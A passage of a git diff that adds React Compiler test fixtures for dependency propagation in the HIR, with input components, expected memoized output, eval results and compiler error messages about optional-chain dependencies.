+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function ComponentA(props) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] !== props.p0 || $[1] !== props.p1 || $[2] !== props.p2) {
+    const a = [];
+    const b = [];
+    if (b) {
+      a.push(props.p0);
+    }
+    if (props.p1) {
+      b.push(props.p2);
+    }
+    t0 = <Foo a={a} b={b} />;
+    $[0] = props.p0;
+    $[1] = props.p1;
+    $[2] = props.p2;
+    $[3] = t0;
+  } else {
+    t0 = $[3];
+  }
+  return t0;
+}
+
+function ComponentB(props) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] !== props.p0 || $[1] !== props.p1 || $[2] !== props.p2) {
+    const a = [];
+    const b = [];
+    if (mayMutate(b)) {
+      a.push(props.p0);
+    }
+    if (props.p1) {
+      b.push(props.p2);
+    }
+    t0 = <Foo a={a} b={b} />;
+    $[0] = props.p0;
+    $[1] = props.p1;
+    $[2] = props.p2;
+    $[3] = t0;
+  } else {
+    t0 = $[3];
+  }
+  return t0;
+}
+
+function Foo() {}
+function mayMutate() {}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/conditional-on-mutable.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-on-mutable.js
similarity index 93%
rename from compiler/crates/react_hermes_parser/tests/fixtures/conditional-on-mutable.js
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-on-mutable.js
index 0378ab655c1e..d03e36aaab56 100644
--- a/compiler/crates/react_hermes_parser/tests/fixtures/conditional-on-mutable.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-on-mutable.js
@@ -1,3 +1,4 @@
+// @enablePropagateDepsInHIR
 function ComponentA(props) {
   const a = [];
   const b = [];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-nested-early-return-within-reactive-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-nested-early-return-within-reactive-scope.expect.md
new file mode 100644
index 000000000000..c235681d38c3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-nested-early-return-within-reactive-scope.expect.md
@@ -0,0 +1,92 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function Component(props) {
+  let x = [];
+  if (props.cond) {
+    x.push(props.a);
+    if (props.b) {
+      const y = [props.b];
+      x.push(y);
+      // oops no memo!
+      return x;
+    }
+    // oops no memo!
+    return x;
+  } else {
+    return foo();
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, a: 42, b: 3.14}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function Component(props) {
+  const $ = _c(7);
+  let t0;
+  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {
+    t0 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      const x = [];
+      if (props.cond) {
+        x.push(props.a);
+        if (props.b) {
+          let t1;
+          if ($[4] !== props.b) {
+            t1 = [props.b];
+            $[4] = props.b;
+            $[5] = t1;
+          } else {
+            t1 = $[5];
+          }
+          const y = t1;
+          x.push(y);
+          t0 = x;
+          break bb0;
+        }
+
+        t0 = x;
+        break bb0;
+      } else {
+        let t1;
+        if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = foo();
+          $[6] = t1;
+        } else {
+          t1 = $[6];
+        }
+        t0 = t1;
+        break bb0;
+      }
+    }
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.cond;
+    $[3] = t0;
+  } else {
+    t0 = $[3];
+  }
+  if (t0 !== Symbol.for("react.early_return_sentinel")) {
+    return t0;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: true, a: 42, b: 3.14 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [42,[3.14]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-nested-early-return-within-reactive-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-nested-early-return-within-reactive-scope.js
new file mode 100644
index 000000000000..c8c24172d79e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-nested-early-return-within-reactive-scope.js
@@ -0,0 +1,22 @@
+// @enablePropagateDepsInHIR
+function Component(props) {
+  let x = [];
+  if (props.cond) {
+    x.push(props.a);
+    if (props.b) {
+      const y = [props.b];
+      x.push(y);
+      // oops no memo!
+      return x;
+    }
+    // oops no memo!
+    return x;
+  } else {
+    return foo();
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, a: 42, b: 3.14}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-within-reactive-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-within-reactive-scope.expect.md
new file mode 100644
index 000000000000..0e93d32061fc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-within-reactive-scope.expect.md
@@ -0,0 +1,115 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {makeArray} from 'shared-runtime';
+
+function Component(props) {
+  let x = [];
+  if (props.cond) {
+    x.push(props.a);
+    // oops no memo!
+    return x;
+  } else {
+    return makeArray(props.b);
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  sequentialRenders: [
+    // pattern 1
+    {cond: true, a: 42},
+    {cond: true, a: 42},
+    // pattern 2
+    {cond: false, b: 3.14},
+    {cond: false, b: 3.14},
+    // pattern 1
+    {cond: true, a: 42},
+    // pattern 2
+    {cond: false, b: 3.14},
+    // pattern 1
+    {cond: true, a: 42},
+    // pattern 2
+    {cond: false, b: 3.14},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { makeArray } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(6);
+  let t0;
+  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {
+    t0 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      const x = [];
+      if (props.cond) {
+        x.push(props.a);
+        t0 = x;
+        break bb0;
+      } else {
+        let t1;
+        if ($[4] !== props.b) {
+          t1 = makeArray(props.b);
+          $[4] = props.b;
+          $[5] = t1;
+        } else {
+          t1 = $[5];
+        }
+        t0 = t1;
+        break bb0;
+      }
+    }
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.cond;
+    $[3] = t0;
+  } else {
+    t0 = $[3];
+  }
+  if (t0 !== Symbol.for("react.early_return_sentinel")) {
+    return t0;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  sequentialRenders: [
+    // pattern 1
+    { cond: true, a: 42 },
+    { cond: true, a: 42 },
+    // pattern 2
+    { cond: false, b: 3.14 },
+    { cond: false, b: 3.14 },
+    // pattern 1
+    { cond: true, a: 42 },
+    // pattern 2
+    { cond: false, b: 3.14 },
+    // pattern 1
+    { cond: true, a: 42 },
+    // pattern 2
+    { cond: false, b: 3.14 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [42]
+[42]
+[3.14]
+[3.14]
+[42]
+[3.14]
+[42]
+[3.14]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-within-reactive-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-within-reactive-scope.js
new file mode 100644
index 000000000000..256eb46bc928
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-within-reactive-scope.js
@@ -0,0 +1,34 @@
+// @enablePropagateDepsInHIR
+import {makeArray} from 'shared-runtime';
+
+function Component(props) {
+  let x = [];
+  if (props.cond) {
+    x.push(props.a);
+    // oops no memo!
+    return x;
+  } else {
+    return makeArray(props.b);
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  sequentialRenders: [
+    // pattern 1
+    {cond: true, a: 42},
+    {cond: true, a: 42},
+    // pattern 2
+    {cond: false, b: 3.14},
+    {cond: false, b: 3.14},
+    // pattern 1
+    {cond: true, a: 42},
+    // pattern 2
+    {cond: false, b: 3.14},
+    // pattern 1
+    {cond: true, a: 42},
+    // pattern 2
+    {cond: false, b: 3.14},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional-optional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional-optional.expect.md
new file mode 100644
index 000000000000..14ea4e759387
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional-optional.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.items);
+    if (props.cond) {
+      x.push(props?.items);
+    }
+    return x;
+  }, [props?.items, props.cond]);
+  return (
+    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />
+  );
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `props.items`, but the source dependencies were [props?.items, props.cond]. Inferred different dependency than source.
+
+error.todo-optional-member-expression-with-conditional-optional.ts:4:23
+   2 | import {ValidateMemoization} from 'shared-runtime';
+   3 | function Component(props) {
+>  4 |   const data = useMemo(() => {
+     |                        ^^^^^^^
+>  5 |     const x = [];
+     | ^^^^^^^^^^^^^^^^^
+>  6 |     x.push(props?.items);
+     | ^^^^^^^^^^^^^^^^^
+>  7 |     if (props.cond) {
+     | ^^^^^^^^^^^^^^^^^
+>  8 |       x.push(props?.items);
+     | ^^^^^^^^^^^^^^^^^
+>  9 |     }
+     | ^^^^^^^^^^^^^^^^^
+> 10 |     return x;
+     | ^^^^^^^^^^^^^^^^^
+> 11 |   }, [props?.items, props.cond]);
+     | ^^^^ Could not preserve existing manual memoization
+  12 |   return (
+  13 |     <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />
+  14 |   );
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional-optional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional-optional.js
new file mode 100644
index 000000000000..b2ae1032b27a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional-optional.js
@@ -0,0 +1,15 @@
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.items);
+    if (props.cond) {
+      x.push(props?.items);
+    }
+    return x;
+  }, [props?.items, props.cond]);
+  return (
+    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional.expect.md
new file mode 100644
index 000000000000..f3fdb07697a8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.items);
+    if (props.cond) {
+      x.push(props.items);
+    }
+    return x;
+  }, [props?.items, props.cond]);
+  return (
+    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />
+  );
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `props.items`, but the source dependencies were [props?.items, props.cond]. Inferred different dependency than source.
+
+error.todo-optional-member-expression-with-conditional.ts:4:23
+   2 | import {ValidateMemoization} from 'shared-runtime';
+   3 | function Component(props) {
+>  4 |   const data = useMemo(() => {
+     |                        ^^^^^^^
+>  5 |     const x = [];
+     | ^^^^^^^^^^^^^^^^^
+>  6 |     x.push(props?.items);
+     | ^^^^^^^^^^^^^^^^^
+>  7 |     if (props.cond) {
+     | ^^^^^^^^^^^^^^^^^
+>  8 |       x.push(props.items);
+     | ^^^^^^^^^^^^^^^^^
+>  9 |     }
+     | ^^^^^^^^^^^^^^^^^
+> 10 |     return x;
+     | ^^^^^^^^^^^^^^^^^
+> 11 |   }, [props?.items, props.cond]);
+     | ^^^^ Could not preserve existing manual memoization
+  12 |   return (
+  13 |     <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />
+  14 |   );
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional.js
new file mode 100644
index 000000000000..aa1997022207
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional.js
@@ -0,0 +1,15 @@
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.items);
+    if (props.cond) {
+      x.push(props.items);
+    }
+    return x;
+  }, [props?.items, props.cond]);
+  return (
+    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/iife-return-modified-later-phi.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/iife-return-modified-later-phi.expect.md
new file mode 100644
index 000000000000..2a3da8b195af
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/iife-return-modified-later-phi.expect.md
@@ -0,0 +1,59 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function Component(props) {
+  const items = (() => {
+    if (props.cond) {
+      return [];
+    } else {
+      return null;
+    }
+  })();
+  items?.push(props.a);
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function Component(props) {
+  const $ = _c(3);
+  let items;
+  if ($[0] !== props.a || $[1] !== props.cond) {
+    let t0;
+    if (props.cond) {
+      t0 = [];
+    } else {
+      t0 = null;
+    }
+    items = t0;
+
+    items?.push(props.a);
+    $[0] = props.a;
+    $[1] = props.cond;
+    $[2] = items;
+  } else {
+    items = $[2];
+  }
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: {} }],
+};
+
+```
+      
+### Eval output
+(kind: ok) null
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/iife-return-modified-later-phi.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/iife-return-modified-later-phi.js
new file mode 100644
index 000000000000..4e8eb097de8a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/iife-return-modified-later-phi.js
@@ -0,0 +1,17 @@
+// @enablePropagateDepsInHIR
+function Component(props) {
+  const items = (() => {
+    if (props.cond) {
+      return [];
+    } else {
+      return null;
+    }
+  })();
+  items?.push(props.a);
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-component-props-non-null.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-component-props-non-null.expect.md
new file mode 100644
index 000000000000..2c3b7930a736
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-component-props-non-null.expect.md
@@ -0,0 +1,68 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {identity, Stringify} from 'shared-runtime';
+
+function Foo(props) {
+  /**
+   * props.value should be inferred as the dependency of this scope
+   * since we know that props is safe to read from (i.e. non-null)
+   * as it is arg[0] of a component function
+   */
+  const arr = [];
+  if (props.cond) {
+    arr.push(identity(props.value));
+  }
+  return <Stringify arr={arr} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{value: 2, cond: true}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { identity, Stringify } from "shared-runtime";
+
+function Foo(props) {
+  const $ = _c(5);
+  let t0;
+  if ($[0] !== props.cond || $[1] !== props.value) {
+    const arr = [];
+    if (props.cond) {
+      let t1;
+      if ($[3] !== props.value) {
+        t1 = identity(props.value);
+        $[3] = props.value;
+        $[4] = t1;
+      } else {
+        t1 = $[4];
+      }
+      arr.push(t1);
+    }
+    t0 = <Stringify arr={arr} />;
+    $[0] = props.cond;
+    $[1] = props.value;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ value: 2, cond: true }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"arr":[2]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-component-props-non-null.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-component-props-non-null.tsx
new file mode 100644
index 000000000000..2d88e5a79029
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-component-props-non-null.tsx
@@ -0,0 +1,20 @@
+// @enablePropagateDepsInHIR
+import {identity, Stringify} from 'shared-runtime';
+
+function Foo(props) {
+  /**
+   * props.value should be inferred as the dependency of this scope
+   * since we know that props is safe to read from (i.e. non-null)
+   * as it is arg[0] of a component function
+   */
+  const arr = [];
+  if (props.cond) {
+    arr.push(identity(props.value));
+  }
+  return <Stringify arr={arr} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{value: 2, cond: true}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-non-null-destructure.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-non-null-destructure.expect.md
new file mode 100644
index 000000000000..faed26bc8aef
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-non-null-destructure.expect.md
@@ -0,0 +1,91 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {identity, useIdentity} from 'shared-runtime';
+
+function useFoo({arg, cond}: {arg: number; cond: boolean}) {
+  const maybeObj = useIdentity({value: arg});
+  const {value} = maybeObj;
+  useIdentity(null);
+  /**
+   * maybeObj.value should be inferred as the dependency of this scope
+   * since we know that maybeObj is safe to read from (i.e. non-null)
+   * due to the above destructuring instruction
+   */
+  const arr = [];
+  if (cond) {
+    arr.push(identity(maybeObj.value));
+  }
+  return {arr, value};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arg: 2, cond: false}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { identity, useIdentity } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(10);
+  const { arg, cond } = t0;
+  let t1;
+  if ($[0] !== arg) {
+    t1 = { value: arg };
+    $[0] = arg;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const maybeObj = useIdentity(t1);
+  const { value } = maybeObj;
+  useIdentity(null);
+  let arr;
+  if ($[2] !== cond || $[3] !== maybeObj.value) {
+    arr = [];
+    if (cond) {
+      let t2;
+      if ($[5] !== maybeObj.value) {
+        t2 = identity(maybeObj.value);
+        $[5] = maybeObj.value;
+        $[6] = t2;
+      } else {
+        t2 = $[6];
+      }
+      arr.push(t2);
+    }
+    $[2] = cond;
+    $[3] = maybeObj.value;
+    $[4] = arr;
+  } else {
+    arr = $[4];
+  }
+  let t2;
+  if ($[7] !== arr || $[8] !== value) {
+    t2 = { arr, value };
+    $[7] = arr;
+    $[8] = value;
+    $[9] = t2;
+  } else {
+    t2 = $[9];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ arg: 2, cond: false }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"arr":[],"value":2}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-non-null-destructure.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-non-null-destructure.ts
new file mode 100644
index 000000000000..f67991df7254
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-non-null-destructure.ts
@@ -0,0 +1,23 @@
+// @enablePropagateDepsInHIR
+import {identity, useIdentity} from 'shared-runtime';
+
+function useFoo({arg, cond}: {arg: number; cond: boolean}) {
+  const maybeObj = useIdentity({value: arg});
+  const {value} = maybeObj;
+  useIdentity(null);
+  /**
+   * maybeObj.value should be inferred as the dependency of this scope
+   * since we know that maybeObj is safe to read from (i.e. non-null)
+   * due to the above destructuring instruction
+   */
+  const arr = [];
+  if (cond) {
+    arr.push(identity(maybeObj.value));
+  }
+  return {arr, value};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arg: 2, cond: false}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-sequential-optional-chain-nonnull.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-sequential-optional-chain-nonnull.expect.md
new file mode 100644
index 000000000000..757ad2666d96
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-sequential-optional-chain-nonnull.expect.md
@@ -0,0 +1,74 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+
+function useFoo({a}) {
+  let x = [];
+  x.push(a?.b.c?.d.e);
+  x.push(a.b?.c.d?.e);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [
+    {a: null},
+    {a: null},
+    {a: {}},
+    {a: {b: {c: {d: {e: 42}}}}},
+    {a: {b: {c: {d: {e: 43}}}}},
+    {a: {b: {c: {d: {e: undefined}}}}},
+    {a: {b: undefined}},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+
+function useFoo(t0) {
+  const $ = _c(2);
+  const { a } = t0;
+  let x;
+  if ($[0] !== a.b.c.d.e) {
+    x = [];
+    x.push(a?.b.c?.d.e);
+    x.push(a.b?.c.d?.e);
+    $[0] = a.b.c.d.e;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: null }],
+  sequentialRenders: [
+    { a: null },
+    { a: null },
+    { a: {} },
+    { a: { b: { c: { d: { e: 42 } } } } },
+    { a: { b: { c: { d: { e: 43 } } } } },
+    { a: { b: { c: { d: { e: undefined } } } } },
+    { a: { b: undefined } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]
+[42,42]
+[43,43]
+[null,null]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-sequential-optional-chain-nonnull.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-sequential-optional-chain-nonnull.ts
new file mode 100644
index 000000000000..750e422861c3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-sequential-optional-chain-nonnull.ts
@@ -0,0 +1,22 @@
+// @enablePropagateDepsInHIR
+
+function useFoo({a}) {
+  let x = [];
+  x.push(a?.b.c?.d.e);
+  x.push(a.b?.c.d?.e);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [
+    {a: null},
+    {a: null},
+    {a: {}},
+    {a: {b: {c: {d: {e: 42}}}}},
+    {a: {b: {c: {d: {e: 43}}}}},
+    {a: {b: {c: {d: {e: undefined}}}}},
+    {a: {b: undefined}},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/nested-optional-chains.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/nested-optional-chains.expect.md
new file mode 100644
index 000000000000..56b987c677e2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/nested-optional-chains.expect.md
@@ -0,0 +1,232 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+
+import {identity} from 'shared-runtime';
+
+/**
+ * identity(...)?.toString() is the outer optional, and prop?.value is the inner
+ * one.
+ * Note that prop?.
+ */
+function useFoo({
+  prop1,
+  prop2,
+  prop3,
+  prop4,
+  prop5,
+  prop6,
+}: {
+  prop1: null | {value: number};
+  prop2: null | {inner: {value: number}};
+  prop3: null | {fn: (val: any) => NonNullable<object>};
+  prop4: null | {inner: {value: number}};
+  prop5: null | {fn: (val: any) => NonNullable<object>};
+  prop6: null | {inner: {value: number}};
+}) {
+  // prop1?.value should be hoisted as the dependency of x
+  const x = identity(prop1?.value)?.toString();
+
+  // prop2?.inner.value should be hoisted as the dependency of y
+  const y = identity(prop2?.inner.value)?.toString();
+
+  // prop3 and prop4?.inner should be hoisted as the dependency of z
+  const z = prop3?.fn(prop4?.inner.value).toString();
+
+  // prop5 and prop6?.inner should be hoisted as the dependency of zz
+  const zz = prop5?.fn(prop6?.inner.value)?.toString();
+  return [x, y, z, zz];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [
+    {
+      prop1: null,
+      prop2: null,
+      prop3: null,
+      prop4: null,
+      prop5: null,
+      prop6: null,
+    },
+  ],
+  sequentialRenders: [
+    {
+      prop1: null,
+      prop2: null,
